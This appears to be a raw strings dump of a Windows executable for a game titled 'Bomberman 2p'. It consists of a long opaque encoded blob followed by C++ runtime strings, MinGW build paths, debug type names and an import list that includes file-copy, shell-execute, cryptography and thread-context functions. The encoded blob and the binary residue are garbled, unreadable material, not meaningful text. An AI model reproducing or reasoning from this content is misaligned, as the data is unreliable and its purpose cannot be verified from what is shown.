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sbDFyrmFVKK8zqmpkW2z7eu5vKVwqvPpzsmQTaXt8Mu5y0a80ezHtahWqOj8lpG4Q5z15oiQzzapyOiWiMpG8sP2qpvGSpHT45OKl26BxtSOk4lv9rPgs5yXd/PDpLiFq2T/z8aokZJ1ruvVvaWPbLDqo8iQsmOu8qG4y7l6kuGstKipbqvw/pC4vFq26eGRz8lvi+bwicq5NID/zZrGtVeQ6/eLl5FHhd/rkomQMPDq0Z2XiDSAsduEq5s5jNLIkJKKaKjC3KSPk3aptZaRspxosbDnyrmFVKK86KmpkW2z7c25vKVwqvPLzsmQTaXt0su5y0a80cLHtahWqOjSlpG4Q5z1xIiQzzapyMqWiMpG8sPQqpvGSpHTxZOKl26BxvaOk4lv9rPCs5yXd/PDmriFq2T/z/iokZJ1ruv3vaWPbLDqgciQsmOu8oe4y7l6kuGKtKipbqvw3JC4vFq26cORz8lvi+beicq5NID/45rGtVeQ69WLl5FHhd/JkomQMPDq952XiDWAsf2Eq5s5jNLqkJKKDKjC/qSPk6OptYiRspzCsbD5yrmF5aK8iqmpkcuz7a+5vKVzqvOtzsmQVaXttMu5y9S80aDHtahVqOiwlpG46Zz1qoiQzwepyKSWiMpo8sOyqpvGApHTp5OKlyWBxpCOk4kK9rOks5yXV/PD+LiFq/3/z5qokZK4ruuJvaWPqrDq/8iQsm+u8uW4y7lvkuHotKipYqvwupC4vOW26aWRz8lRi+a8icq5y4D/gZrGtS+Q67uLl5HShd+nkomQV/DqlZ2XiISAsZ+Eq5tNjNKMkJKKM6jCmKSPkxapteqRspxpsbCbyrmFVKK8lKmpkW2z7bG5vKVwqvOPzsmQTaXtlsu5y0a80YbHtahWqOiWlpG4Q5z1iIiQzzapyIaWiMpG8sOcqpvGSpHTiZOKl26BxrKOk4lv9rOGs5yXd/PD3riFq2T/z7yokZJ1ruurvaWPbLDq3ciQsmOu8tu4y7l6kuHWtKipbqvwmJC4vFq26YeRz8lvi+aaicq5NID/p5rGtVeQ65mLl5FHhd+FkomQMPDqu52XiDWAsbGEq5s5jNKukJKKaKjCuqSPk3aptcyRspxosbC9yrmFVKK8tqmpkW2z7ZO5vKVwqvORzsmQTaXtiMu5y0a80WTGtahWqOh0l5G4Q5z1bomQzzapyGCX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
w5F4FzTd9JWVnmuhnGCZplvo06oMch
LG79gmSBoWVJfzs
Error!
Window Registration Failed!
Bomberman 2p
Window Creation Failed!
myWindowClass
basic_string::at
basic_string::copy
basic_string::compare
basic_string::_S_create
basic_string::erase
basic_string::_M_replace_aux
basic_string::insert
basic_string::replace
basic_string::assign
basic_string::append
basic_string::resize
basic_string::_S_construct null not valid
basic_string::basic_string
basic_string::substr
std::exception
std::bad_exception
eh_globals
__gnu_cxx::__concurrence_lock_error
__gnu_cxx::__concurrence_unlock_error
std::future_error
std::bad_alloc
__terminate_handler_sh
__unexpected_handler_sh
std::bad_cast
std::bad_typeid
generic
system
future
Broken promise
Future already retrieved
Promise already satisfied
No associated state
Unknown error
bad_function_call
regex_error
terminate called after throwing an instance of '
what():
__gnu_cxx::__concurrence_lock_error
__gnu_cxx::__concurrence_unlock_error
__gnu_cxx::__concurrence_broadcast_error
__gnu_cxx::__concurrence_wait_error
_GLOBAL_
(anonymous namespace)
string literal
[abi:
{default arg#
JArray
vtable for
VTT for
construction vtable for
typeinfo for
typeinfo name for
typeinfo fn for
non-virtual thunk to
virtual thunk to
covariant return thunk to
java Class for
guard variable for
TLS init function for
TLS wrapper function for
reference temporary #
for
hidden alias for
transaction clone for
non-transaction clone for
_Sat
_Accum
_Fract
operator
operator
false
java resource
decltype (
{parm#
global constructors keyed to
global destructors keyed to
{lambda(
{unnamed type#
[clone
restrict
volatile
const
complex
imaginary
__vector(
std::allocator
allocator
std::basic_string
basic_string
std::string
std::basic_string<char, std::char_traits<char>, std::allocator<char> >
std::istream
std::basic_istream<char, std::char_traits<char> >
basic_istream
std::ostream
std::basic_ostream<char, std::char_traits<char> >
basic_ostream
std::iostream
std::basic_iostream<char, std::char_traits<char> >
basic_iostream
alignof
const_cast
delete[]
dynamic_cast
delete
operator""
new[]
reinterpret_cast
static_cast
sizeof
throw
throw
signed char
boolean
double
long double
float
__float128
unsigned char
unsigned int
unsigned
unsigned long
__int128
unsigned __int128
short
unsigned short
wchar_t
long long
unsigned long long
decimal32
decimal64
decimal128
char16_t
char32_t
decltype(nullptr)
Unknown error
Argument domain error (DOMAIN)
Argument singularity (SIGN)
Overflow range error (OVERFLOW)
The result is too small to be represented (UNDERFLOW)
Total loss of significance (TLOSS)
Partial loss of significance (PLOSS)
Address %p has no image-section
VirtualQuery failed for %d bytes at address %p
VirtualProtect failed with code 0x%x
use_fc_key
fc_key
sjlj_once
fc_static
idListCnt_shmem
idList_shmem
once_global_shmem
once_obj_shmem
idListMax_shmem
idListNextId_shmem
mtx_pthr_locked_shmem
pthr_root_shmem
pthr_last_shmem
_pthread_tls_shmem
_pthread_tls_once_shmem
_pthread_key_dest_shmem
_pthread_cancelling_shmem
_pthread_concur_shmem
_pthread_key_lock_shmem
_pthread_key_max_shmem
_pthread_key_sch_shmem
dummy_concurrency_level_shmem
mutex_global_shmem
c:/crossdev/src/winpthreads-svn6233/src/mutex.c
(m_->valid == LIFE_MUTEX) && (m_->busy > 0)
mutex_global_static_shmem
mxattr_recursive_shmem
mxattr_errorcheck_shmem
cond_locked_shmem_cond
spin_locked_shmem
rwl_global_shmem
c:/crossdev/src/winpthreads-svn6233/src/rwlock.c
(((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0)
cond_locked_shmem_rwlock
N10__cxxabiv115__forced_unwindE
N10__cxxabiv117__class_type_infoE
N10__cxxabiv119__foreign_exceptionE
N10__cxxabiv120__si_class_type_infoE
*N12_GLOBAL__N_121future_error_categoryE
*N12_GLOBAL__N_121system_error_categoryE
*N12_GLOBAL__N_122generic_error_categoryE
N9__gnu_cxx24__concurrence_lock_errorE
N9__gnu_cxx24__concurrence_wait_errorE
N9__gnu_cxx26__concurrence_unlock_errorE
N9__gnu_cxx29__concurrence_broadcast_errorE
NSt13__future_base11_State_baseE
NSt13__future_base12_Result_baseE
NSt8ios_base7failureE
St10bad_typeid
St11logic_error
St11range_error
St11regex_error
St12domain_error
St12future_error
St12length_error
St12out_of_range
St12system_error
St13bad_exception
St13runtime_error
St14error_category
St14overflow_error
St15underflow_error
St16invalid_argument
St17bad_function_call
St8bad_cast
St9bad_alloc
St9exception
St9type_info
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (tdm64-2) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
GCC: (GNU) 4.8.1
CryptAcquireContextA
BitBlt
CreateBitmap
CreateCompatibleBitmap
CreateCompatibleDC
DeleteDC
DeleteObject
GetObjectA
SelectObject
SetBkColor
AddAtomA
CloseHandle
CopyFileW
CreateEventA
CreateMutexA
CreateSemaphoreA
DeleteCriticalSection
DuplicateHandle
EnterCriticalSection
ExitProcess
FindAtomA
GetAtomNameA
GetCurrentProcess
GetCurrentProcessId
GetCurrentThread
GetCurrentThreadId
GetHandleInformation
GetLastError
GetModuleFileNameW
GetModuleHandleA
GetProcessAffinityMask
GetStartupInfoA
GetSystemTimeAsFileTime
GetThreadContext
GetThreadPriority
GetTickCount
InitializeCriticalSection
InterlockedCompareExchange
InterlockedDecrement
InterlockedExchange
InterlockedExchangeAdd
InterlockedIncrement
LeaveCriticalSection
QueryPerformanceCounter
ReleaseMutex
ReleaseSemaphore
ResetEvent
ResumeThread
SetEvent
SetLastError
SetProcessAffinityMask
SetThreadContext
SetThreadPriority
SetUnhandledExceptionFilter
Sleep
SuspendThread
TerminateProcess
TlsAlloc
TlsGetValue
TlsSetValue
TryEnterCriticalSection
UnhandledExceptionFilter
VirtualAlloc
VirtualProtect
VirtualQuery
WaitForMultipleObjects
WaitForSingleObject
__dllonexit
__getmainargs
__initenv
__lconv_init
__set_app_type
__setusermatherr
_acmdln
_amsg_exit
_beginthreadex
_cexit
_endthreadex
_fmode
_ftime
_initterm
_lock
_onexit
_setjmp3
_unlock
_write
abort
calloc
fprintf
fputc
fputs
fwrite
longjmp
malloc
memchr
memcmp
memcpy
memmove
memset
printf
realloc
signal
sprintf
srand
strcmp
strerror
strlen
strncmp
vfprintf
ShellExecuteW
BeginPaint
CreateWindowExA
DefWindowProcA
DestroyWindow
DispatchMessageA
EndPaint
FillRect
GetAsyncKeyState
GetClientRect
GetDC
GetMessageA
InvalidateRect
KillTimer
LoadBitmapA
LoadCursorA
LoadIconA
MessageBoxA
PostQuitMessage
RegisterClassExA
SetTimer
ShowWindow
TranslateMessage
UpdateWindow
ADVAPI32.dll
GDI32.dll
KERNEL32.dll
msvcrt.dll
SHELL32.DLL
USER32.dll
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/crtexe.c
size_t
unsigned int
uintptr_t
wchar_t
short unsigned int
long int
long long int
sizetype
long unsigned int
unsigned char
_EXCEPTION_RECORD
ExceptionCode
ExceptionFlags
ExceptionAddress
NumberParameters
ExceptionInformation
_CONTEXT
ContextFlags
FloatSave
SegGs
SegFs
SegEs
SegDs
SegCs
EFlags
SegSs
ExtendedRegisters
WINBOOL
DWORD
float
LPBYTE
signed char
short int
long long unsigned int
LONG_PTR
ULONG_PTR
PVOID
LPSTR
PLONG
HANDLE
ULONGLONG
EXCEPTION_ROUTINE
PEXCEPTION_ROUTINE
_FLOATING_SAVE_AREA
ControlWord
StatusWord
TagWord
ErrorOffset
ErrorSelector
DataOffset
DataSelector
RegisterArea
Cr0NpxState
FLOATING_SAVE_AREA
CONTEXT
PCONTEXT
EXCEPTION_RECORD
PEXCEPTION_RECORD
_EXCEPTION_POINTERS
ContextRecord
_EXCEPTION_REGISTRATION_RECORD
Handler
handler
FiberData
Version
_NT_TIB
ExceptionList
StackBase
StackLimit
SubSystemTib
ArbitraryUserPointer
NT_TIB
PNT_TIB
_IMAGE_DOS_HEADER
e_magic
e_cblp
e_crlc
e_cparhdr
e_minalloc
e_maxalloc
e_csum
e_lfarlc
e_ovno
e_res
e_oemid
e_oeminfo
e_res2
e_lfanew
IMAGE_DOS_HEADER
PIMAGE_DOS_HEADER
_IMAGE_FILE_HEADER
Machine
NumberOfSections
TimeDateStamp
PointerToSymbolTable
NumberOfSymbols
SizeOfOptionalHeader
Characteristics
IMAGE_FILE_HEADER
_IMAGE_DATA_DIRECTORY
VirtualAddress
IMAGE_DATA_DIRECTORY
_IMAGE_OPTIONAL_HEADER
Magic
BaseOfData
IMAGE_OPTIONAL_HEADER32
PIMAGE_OPTIONAL_HEADER32
_IMAGE_OPTIONAL_HEADER64
Magic
PIMAGE_OPTIONAL_HEADER64
_IMAGE_NT_HEADERS
Signature
FileHeader
OptionalHeader
PIMAGE_NT_HEADERS32
PIMAGE_NT_HEADERS
PIMAGE_TLS_CALLBACK
HINSTANCE__
unused
HINSTANCE
PTOP_LEVEL_EXCEPTION_FILTER
LPTOP_LEVEL_EXCEPTION_FILTER
_STARTUPINFOA
lpReserved
lpDesktop
lpTitle
dwXSize
dwYSize
dwXCountChars
dwYCountChars
dwFillAttribute
dwFlags
wShowWindow
cbReserved2
lpReserved2
hStdInput
hStdOutput
hStdError
STARTUPINFOA
STARTUPINFO
double
long double
_invalid_parameter_handler
tagCOINITBASE
COINITBASE_MULTITHREADED
VARENUM
VT_EMPTY
VT_NULL
VT_I2
VT_I4
VT_R4
VT_R8
VT_CY
VT_DATE
VT_BSTR
VT_DISPATCH
VT_ERROR
VT_BOOL
VT_VARIANT
VT_UNKNOWN
VT_DECIMAL
VT_I1
VT_UI1
VT_UI2
VT_UI4
VT_I8
VT_UI8
VT_INT
VT_UINT
VT_VOID
VT_HRESULT
VT_PTR
VT_SAFEARRAY
VT_CARRAY
VT_USERDEFINED
VT_LPSTR
VT_LPWSTR
VT_RECORD
VT_INT_PTR
VT_UINT_PTR
VT_FILETIME
VT_BLOB
VT_STREAM
VT_STORAGE
VT_STREAMED_OBJECT
VT_STORED_OBJECT
VT_BLOB_OBJECT
VT_CF
VT_CLSID
VT_VERSIONED_STREAM
VT_BSTR_BLOB
VT_VECTOR
VT_ARRAY
VT_BYREF
VT_RESERVED
VT_ILLEGAL
VT_ILLEGALMASKED
VT_TYPEMASK
_PVFV
_PIFV
newmode
_startupinfo
__uninitialized
__initializing
__initialized
_exception
retval
_TCHAR
__readfsdword
!Offset
#_TEB
$NtCurrentTeb
%duplicate_ppstrings
'__mingw_invalidParameterHandler
(expression
(function
(file
(line
(pReserved
)check_managed_app
"pDOSHeader
"pPEHeader
"pNTHeader32
"pNTHeader64
*pre_c_init
'pre_cpp_init
*__tmainCRTStartup
4lpszCommandLine
5StartupInfo
4inDoubleQuote
4lock_free
4fiberid
4nested
>WinMainCRTStartup
>mainCRTStartup
5argc
5argv
5envp
5argret
5mainret
5managedapp
5has_cctor
5startinfo
A__globallocalestatus
A_imp___fmode
A_dowildcard
A_newmode
A_imp____initenv
A_imp___acmdln
A__native_startup_state
A__native_startup_lock
CA_image_base__
A_imp___commode
A_fmode
A__xi_a
A__xi_z
A__xc_a
A__xc_z
A__dyn_tls_init_callback
A__onexitbegin
A__onexitend
Amingw_app_type
E__mingw_winmain_hInstance
E__mingw_winmain_lpCmdLine
E__mingw_winmain_nShowCmd
A__mingw_oldexcpt_handler
Emingw_pcinit
Emingw_pcppinit
A_MINGW_INSTALL_DEBUG_MATHERR
Fmingw_initltsdrot_force
Fmingw_initltsdyn_force
Fmingw_initltssuo_force
Fmingw_initcharmax
G__set_app_type
H_encode_pointer
I_setargv
G__mingw_setusermatherr
H__getmainargs
Hstrlen
Jmalloc
Kmemcpy
L_pei386_runtime_relocator
\H_set_invalid_parameter_handler
L_fpreset
)L__main
LHmain
L_cexit
7G_amsg_exit
G_initterm
Mexit
L__security_init_cookie
GNU C 4.8.1 -m32 -mtune=generic -march=x86-64 -g -O2 -std=gnu99
h:/crossdev/src/mingw-w64-v3-svn/mingw-w64-crt/crt/tlssup.c
